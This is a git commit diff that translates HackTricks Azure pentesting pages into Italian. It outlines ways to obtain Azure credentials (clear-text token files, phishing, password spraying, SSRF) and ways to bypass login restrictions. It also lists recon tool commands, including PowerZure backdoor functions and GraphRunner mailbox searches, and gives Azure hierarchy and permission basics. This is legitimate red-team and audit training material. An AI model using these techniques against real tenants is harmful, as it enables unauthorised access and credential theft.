mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 07:00:38 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -2,86 +2,85 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di Base
|
||||
|
||||
{{#ref}}
|
||||
az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Pentester/Red Team Methodology
|
||||
## Metodologia di Pentesting/Red Team di Azure
|
||||
|
||||
In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
|
||||
Per auditare un ambiente AZURE è molto importante sapere: quali **servizi vengono utilizzati**, cosa è **esposto**, chi ha **accesso** a cosa e come sono connessi i servizi interni di Azure e i **servizi esterni**.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
|
||||
Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente Azure** è riuscire a ottenere alcune **credenziali** per Azure AD. Ecco alcune idee su come farlo:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in Azure-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
- The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
|
||||
- The file **`azureProfile.json`** contains **info** about logged user.
|
||||
- **`az logout`** removes the token.
|
||||
- Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
|
||||
Use `Disconnect-AzAccount` to remove them.
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
|
||||
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
- **Leak** su github (o simili) - OSINT
|
||||
- **Ingegneria** Sociale
|
||||
- Riutilizzo della **Password** (leak di password)
|
||||
- Vulnerabilità nelle Applicazioni Ospitate su Azure
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con accesso all'endpoint dei metadati
|
||||
- **Lettura di File Locali**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
- Il file **`accessTokens.json`** in `az cli` prima della versione 2.30 - Gen2022 - memorizzava **token di accesso in chiaro**
|
||||
- Il file **`azureProfile.json`** contiene **info** sull'utente connesso.
|
||||
- **`az logout`** rimuove il token.
|
||||
- Le versioni precedenti di **`Az PowerShell`** memorizzavano **token di accesso** in **chiaro** in **`TokenCache.dat`**. Memorizza anche il **ServicePrincipalSecret** in **chiaro** in **`AzureRmContext.json`**. Il cmdlet **`Save-AzContext`** può essere utilizzato per **memorizzare** **token**.\
|
||||
Usa `Disconnect-AzAccount` per rimuoverli.
|
||||
- Terze parti **compromesse**
|
||||
- **Dipendente** Interno
|
||||
- [**Phishing Comune**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenziali o App Oauth)
|
||||
- [Phishing con Codice Dispositivo di Autenticazione](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [**Password Spraying** di Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
|
||||
Anche se non hai **compromesso alcun utente** all'interno del tenant Azure che stai attaccando, puoi **raccogliere alcune informazioni** da esso:
|
||||
|
||||
{{#ref}}
|
||||
az-unauthenticated-enum-and-initial-entry/
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> Dopo aver ottenuto le credenziali, devi sapere **a chi appartengono quelle credenziali**, e **a cosa hanno accesso**, quindi devi eseguire alcune enumerazioni di base:
|
||||
|
||||
## Basic Enumeration
|
||||
## Enumerazione di Base
|
||||
|
||||
> [!NOTE]
|
||||
> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
|
||||
> Ricorda che la parte **più rumorosa** dell'enumerazione è il **login**, non l'enumerazione stessa.
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside Azure check this page for tricks:
|
||||
Se hai trovato un SSRF in una macchina all'interno di Azure controlla questa pagina per trucchi:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
### Bypass Login Conditions
|
||||
### Bypassare le Condizioni di Login
|
||||
|
||||
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
|
||||
Nei casi in cui hai alcune credenziali valide ma non riesci a effettuare il login, queste sono alcune protezioni comuni che potrebbero essere in atto:
|
||||
|
||||
- **IP whitelisting** -- You need to compromise a valid IP
|
||||
- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
|
||||
- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
|
||||
- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
|
||||
- **Whitelist IP** -- Devi compromettere un IP valido
|
||||
- **Restrizioni Geografiche** -- Scopri dove vive l'utente o dove si trovano gli uffici dell'azienda e ottieni un IP dalla stessa città (o paese almeno)
|
||||
- **Browser** -- Forse è consentito solo un browser di un certo OS (Windows, Linux, Mac, Android, iOS). Scopri quale OS utilizza la vittima/azienda.
|
||||
- Puoi anche provare a **compromettere le credenziali del Service Principal** poiché di solito sono meno limitate e il loro login è meno controllato
|
||||
|
||||
After bypassing it, you might be able to get back to your initial setup and you will still have access.
|
||||
Dopo averlo bypassato, potresti essere in grado di tornare alla tua configurazione iniziale e avrai ancora accesso.
|
||||
|
||||
### Subdomain Takeover
|
||||
### Presa di Sottodominio
|
||||
|
||||
- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
|
||||
|
||||
### Whoami
|
||||
|
||||
> [!CAUTION]
|
||||
> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
|
||||
> Impara **come installare** az cli, AzureAD e Az PowerShell nella sezione [**Az - Entra ID**](az-services/az-azuread.md).
|
||||
|
||||
One of the first things you need to know is **who you are** (in which environment you are):
|
||||
Una delle prime cose che devi sapere è **chi sei** (in quale ambiente ti trovi):
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az account list
|
||||
az account tenant list # Current tenant info
|
||||
@@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user
|
||||
az ad signed-in-user list-owned-objects # Get owned objects by current user
|
||||
az account management-group list #Not allowed by default
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```powershell
|
||||
#Get the current session state
|
||||
Get-AzureADCurrentSessionInfo
|
||||
#Get details of the current tenant
|
||||
Get-AzureADTenantDetail
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get the information about the current context (Account, Tenant, Subscription etc.)
|
||||
Get-AzContext
|
||||
@@ -121,53 +116,49 @@ Get-AzResource
|
||||
Get-AzRoleAssignment # For all users
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
|
||||
> Uno dei comandi più importanti per enumerare Azure è **`Get-AzResource`** da Az PowerShell poiché ti consente di **conoscere le risorse a cui il tuo utente attuale ha visibilità**.
|
||||
>
|
||||
> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
|
||||
> Puoi ottenere le stesse informazioni nella **console web** andando su [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) o cercando "Tutte le risorse"
|
||||
|
||||
### ENtra ID Enumeration
|
||||
### Enumerazione di ENtra ID
|
||||
|
||||
By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
|
||||
You can find here a guide:
|
||||
Per impostazione predefinita, qualsiasi utente dovrebbe avere **sufficienti autorizzazioni per enumerare** cose come utenti, gruppi, ruoli, service principal... (controlla [autorizzazioni predefinite di AzureAD](az-basic-information/#default-user-permissions)).\
|
||||
Puoi trovare qui una guida:
|
||||
|
||||
{{#ref}}
|
||||
az-services/az-azuread.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> Ora che **hai alcune informazioni sulle tue credenziali** (e se sei un red team speriamo che **non sei stato rilevato**). È tempo di scoprire quali servizi vengono utilizzati nell'ambiente.\
|
||||
> Nella sezione seguente puoi controllare alcuni modi per **enumerare alcuni servizi comuni.**
|
||||
|
||||
## App Service SCM
|
||||
|
||||
Kudu console to log in to the App Service 'container'.
|
||||
Console Kudu per accedere al 'container' dell'App Service.
|
||||
|
||||
## Webshell
|
||||
|
||||
Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
|
||||
Usa portal.azure.com e seleziona la shell, oppure usa shell.azure.com, per un bash o powershell. Il 'disco' di questa shell è memorizzato come un file immagine in un storage-account.
|
||||
|
||||
## Azure DevOps
|
||||
|
||||
Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
|
||||
Azure DevOps è separato da Azure. Ha repository, pipeline (yaml o release), board, wiki e altro. I Gruppi di Variabili vengono utilizzati per memorizzare valori di variabili e segreti.
|
||||
|
||||
## Debug | MitM az cli
|
||||
|
||||
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
|
||||
|
||||
Utilizzando il parametro **`--debug`** è possibile vedere tutte le richieste che lo strumento **`az`** sta inviando:
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
|
||||
Per eseguire un **MitM** sullo strumento e **controllare tutte le richieste** che sta inviando manualmente, puoi fare:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
@@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Automated Recon Tools
|
||||
## Strumenti di Ricognizione Automatizzati
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
```powershell
|
||||
cd ROADTools
|
||||
pipenv shell
|
||||
@@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||
roadrecon gather
|
||||
roadrecon gui
|
||||
```
|
||||
|
||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||
|
||||
```powershell
|
||||
Import-Module monkey365
|
||||
Get-Help Invoke-Monkey365
|
||||
@@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed
|
||||
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
|
||||
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
|
||||
```
|
||||
|
||||
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
|
||||
|
||||
```powershell
|
||||
# Start Backend
|
||||
cd stormspotter\backend\
|
||||
@@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||
python stormspotter\stormcollector\sscollector.pyz cli
|
||||
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||
```
|
||||
|
||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||
|
||||
```powershell
|
||||
# You need to use the Az PowerShell and Azure AD modules:
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
@@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu
|
||||
## All Azure AD Groups that are synchronized with On-Premise AD
|
||||
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
|
||||
```
|
||||
|
||||
### [Azucar](https://github.com/nccgroup/azucar)
|
||||
|
||||
```bash
|
||||
# You should use an account with at least read-permission on the assets you want to access
|
||||
git clone https://github.com/nccgroup/azucar.git
|
||||
@@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
|
||||
# resolve the TenantID for an specific username
|
||||
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
|
||||
```
|
||||
|
||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||
|
||||
```
|
||||
Import-Module .\MicroBurst.psm1
|
||||
Import-Module .\Get-AzureDomainInfo.ps1
|
||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||
```
|
||||
|
||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||
|
||||
```powershell
|
||||
Connect-AzAccount
|
||||
ipmo C:\Path\To\Powerzure.psd1
|
||||
@@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
|
||||
# Administrator
|
||||
$ Create-Backdoor, Execute-Backdoor
|
||||
```
|
||||
|
||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||
|
||||
```powershell
|
||||
|
||||
#Get-GraphTokens
|
||||
@@ -398,9 +371,4 @@ Get-TenantID -Domain
|
||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,376 +1,372 @@
|
||||
# Az - Basic Information
|
||||
# Az - Informazioni di Base
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
## Gerarchia dell'Organizzazione
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>
|
||||
|
||||
### Management Groups
|
||||
### Gruppi di Gestione
|
||||
|
||||
- It can contain **other management groups or subscriptions**.
|
||||
- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
|
||||
- **10,000 management** groups can be supported in a single directory.
|
||||
- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
|
||||
- Each management group and subscription can support **only one parent**.
|
||||
- Even if several management groups can be created **there is only 1 root management group**.
|
||||
- The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
|
||||
- All subscriptions within a single management group must trust the **same Entra ID tenant.**
|
||||
- Può contenere **altri gruppi di gestione o sottoscrizioni**.
|
||||
- Questo consente di **applicare controlli di governance** come RBAC e Azure Policy una sola volta a livello di gruppo di gestione e farli **ereditar** da tutte le sottoscrizioni nel gruppo.
|
||||
- Possono essere supportati **10.000 gruppi di gestione** in una singola directory.
|
||||
- Un albero di gruppi di gestione può supportare **fino a sei livelli di profondità**. Questo limite non include il livello radice o il livello di sottoscrizione.
|
||||
- Ogni gruppo di gestione e sottoscrizione può supportare **solo un genitore**.
|
||||
- Anche se possono essere creati diversi gruppi di gestione, **c'è solo 1 gruppo di gestione radice**.
|
||||
- Il gruppo di gestione radice **contiene** tutti gli **altri gruppi di gestione e sottoscrizioni** e **non può essere spostato o eliminato**.
|
||||
- Tutte le sottoscrizioni all'interno di un singolo gruppo di gestione devono fidarsi dello **stesso tenant Entra ID.**
|
||||
|
||||
<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
|
||||
|
||||
### Azure Subscriptions
|
||||
### Sottoscrizioni Azure
|
||||
|
||||
- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
|
||||
- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
|
||||
- It **trust only one Entra ID** directory
|
||||
- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
|
||||
- È un altro **contenitore logico in cui possono essere eseguite e fatturate risorse** (VM, DB…).
|
||||
- Il suo **genitore** è sempre un **gruppo di gestione** (e può essere il gruppo di gestione radice) poiché le sottoscrizioni non possono contenere altre sottoscrizioni.
|
||||
- **Fiducia solo in un directory Entra ID**
|
||||
- Le **autorizzazioni** applicate a livello di sottoscrizione (o a qualsiasi dei suoi genitori) sono **ereditarie** a tutte le risorse all'interno della sottoscrizione.
|
||||
|
||||
### Resource Groups
|
||||
### Gruppi di Risorse
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group.
|
||||
[Dal documento:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un gruppo di risorse è un **contenitore** che contiene **risorse correlate** per una soluzione Azure. Il gruppo di risorse può includere tutte le risorse per la soluzione, o solo quelle **risorse che desideri gestire come un gruppo**. In generale, aggiungi **risorse** che condividono il **stesso ciclo di vita** allo stesso gruppo di risorse in modo da poterle facilmente distribuire, aggiornare ed eliminare come un gruppo.
|
||||
|
||||
All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
|
||||
Tutte le **risorse** devono essere **all'interno di un gruppo di risorse** e possono appartenere solo a un gruppo e se un gruppo di risorse viene eliminato, tutte le risorse al suo interno vengono anch'esse eliminate.
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1</a></p></figcaption></figure>
|
||||
|
||||
### Azure Resource IDs
|
||||
### ID Risorsa Azure
|
||||
|
||||
Every resource in Azure has an Azure Resource ID that identifies it.
|
||||
Ogni risorsa in Azure ha un ID Risorsa Azure che la identifica.
|
||||
|
||||
The format of an Azure Resource ID is as follows:
|
||||
Il formato di un ID Risorsa Azure è il seguente:
|
||||
|
||||
- `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
|
||||
|
||||
For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
|
||||
Per una macchina virtuale chiamata myVM in un gruppo di risorse `myResourceGroup` sotto l'ID di sottoscrizione `12345678-1234-1234-1234-123456789012`, l'ID Risorsa Azure appare così:
|
||||
|
||||
- `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
|
||||
|
||||
## Azure vs Entra ID vs Azure AD Domain Services
|
||||
## Azure vs Entra ID vs Servizi di Dominio Azure AD
|
||||
|
||||
### Azure
|
||||
|
||||
Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises.
|
||||
Azure è la **piattaforma di cloud computing completa di Microsoft, che offre una vasta gamma di servizi**, tra cui macchine virtuali, database, intelligenza artificiale e archiviazione. Funziona come base per l'hosting e la gestione delle applicazioni, la costruzione di infrastrutture scalabili e l'esecuzione di carichi di lavoro moderni nel cloud. Azure fornisce strumenti per sviluppatori e professionisti IT per creare, distribuire e gestire applicazioni e servizi senza soluzione di continuità, soddisfacendo una varietà di esigenze, dalle startup alle grandi imprese.
|
||||
|
||||
### Entra ID (formerly Azure Active Directory)
|
||||
### Entra ID (precedentemente Azure Active Directory)
|
||||
|
||||
Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others.
|
||||
Entra ID è un servizio di **gestione dell'identità e degli accessi basato su cloud** progettato per gestire autenticazione, autorizzazione e controllo degli accessi degli utenti. Potenzia l'accesso sicuro ai servizi Microsoft come Office 365, Azure e molte applicazioni SaaS di terze parti. Con funzionalità come l'accesso single sign-on (SSO), l'autenticazione a più fattori (MFA) e le politiche di accesso condizionale, tra le altre.
|
||||
|
||||
### Entra Domain Services (formerly Azure AD DS)
|
||||
### Servizi di Dominio Entra (precedentemente Azure AD DS)
|
||||
|
||||
Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments.
|
||||
I Servizi di Dominio Entra estendono le capacità di Entra ID offrendo **servizi di dominio gestiti compatibili con gli ambienti tradizionali di Windows Active Directory**. Supporta protocolli legacy come LDAP, Kerberos e NTLM, consentendo alle organizzazioni di migrare o eseguire applicazioni più vecchie nel cloud senza dover distribuire controller di dominio on-premises. Questo servizio supporta anche le Group Policy per la gestione centralizzata, rendendolo adatto a scenari in cui carichi di lavoro legacy o basati su AD devono coesistere con ambienti cloud moderni.
|
||||
|
||||
## Entra ID Principals
|
||||
## Principali di Entra ID
|
||||
|
||||
### Users
|
||||
### Utenti
|
||||
|
||||
- **New users**
|
||||
- Indicate email name and domain from selected tenant
|
||||
- Indicate Display name
|
||||
- Indicate password
|
||||
- Indicate properties (first name, job title, contact info…)
|
||||
- Default user type is “**member**”
|
||||
- **External users**
|
||||
- Indicate email to invite and display name (can be a non Microsft email)
|
||||
- Indicate properties
|
||||
- Default user type is “**Guest**”
|
||||
- **Nuovi utenti**
|
||||
- Indica nome email e dominio dal tenant selezionato
|
||||
- Indica nome visualizzato
|
||||
- Indica password
|
||||
- Indica proprietà (nome, titolo di lavoro, informazioni di contatto…)
|
||||
- Il tipo di utente predefinito è “**membro**”
|
||||
- **Utenti esterni**
|
||||
- Indica email per invitare e nome visualizzato (può essere un'email non Microsoft)
|
||||
- Indica proprietà
|
||||
- Il tipo di utente predefinito è “**Ospite**”
|
||||
|
||||
### Members & Guests Default Permissions
|
||||
### Permessi Predefiniti per Membri e Ospiti
|
||||
|
||||
You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
|
||||
Puoi controllarli in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) ma tra le altre azioni un membro sarà in grado di:
|
||||
|
||||
- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
|
||||
- Invite Guests (_can be turned off_)
|
||||
- Create Security groups
|
||||
- Read non-hidden Group memberships
|
||||
- Add guests to Owned groups
|
||||
- Create new application (_can be turned off_)
|
||||
- Add up to 50 devices to Azure (_can be turned off_)
|
||||
- Leggere tutti gli utenti, Gruppi, Applicazioni, Dispositivi, Ruoli, Sottoscrizioni e le loro proprietà pubbliche
|
||||
- Invitare Ospiti (_può essere disattivato_)
|
||||
- Creare gruppi di sicurezza
|
||||
- Leggere le appartenenze ai gruppi non nascoste
|
||||
- Aggiungere ospiti ai gruppi di proprietà
|
||||
- Creare una nuova applicazione (_può essere disattivato_)
|
||||
- Aggiungere fino a 50 dispositivi ad Azure (_può essere disattivato_)
|
||||
|
||||
> [!NOTE]
|
||||
> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
|
||||
> Ricorda che per enumerare le risorse Azure l'utente ha bisogno di un'esplicita concessione del permesso.
|
||||
|
||||
### Users Default Configurable Permissions
|
||||
### Permessi Configurabili Predefiniti per Utenti
|
||||
|
||||
- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
|
||||
- Register Applications: Default **Yes**
|
||||
- Restrict non-admin users from creating tenants: Default **No**
|
||||
- Create security groups: Default **Yes**
|
||||
- Restrict access to Microsoft Entra administration portal: Default **No**
|
||||
- This doesn’t restrict API access to the portal (only web)
|
||||
- Allow users to connect work or school account with LinkedIn: Default **Yes**
|
||||
- Show keep user signed in: Default **Yes**
|
||||
- Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
|
||||
- Read other users: Default **Yes** (via Microsoft Graph)
|
||||
- **Guests**
|
||||
- **Guest user access restrictions**
|
||||
- **Guest users have the same access as members** grants all member user permissions to guest users by default.
|
||||
- **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
|
||||
- **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
|
||||
- **Guests can invite**
|
||||
- **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
|
||||
- **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
|
||||
- **Only users assigned to specific admin roles can invite guest users**
|
||||
- **No one in the organization can invite guest users including admins (most restrictive)**
|
||||
- **External user leave**: Default **True**
|
||||
- Allow external users to leave the organization
|
||||
- **Membri (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
|
||||
- Registrare Applicazioni: Predefinito **Sì**
|
||||
- Limitare gli utenti non amministratori dalla creazione di tenant: Predefinito **No**
|
||||
- Creare gruppi di sicurezza: Predefinito **Sì**
|
||||
- Limitare l'accesso al portale di amministrazione di Microsoft Entra: Predefinito **No**
|
||||
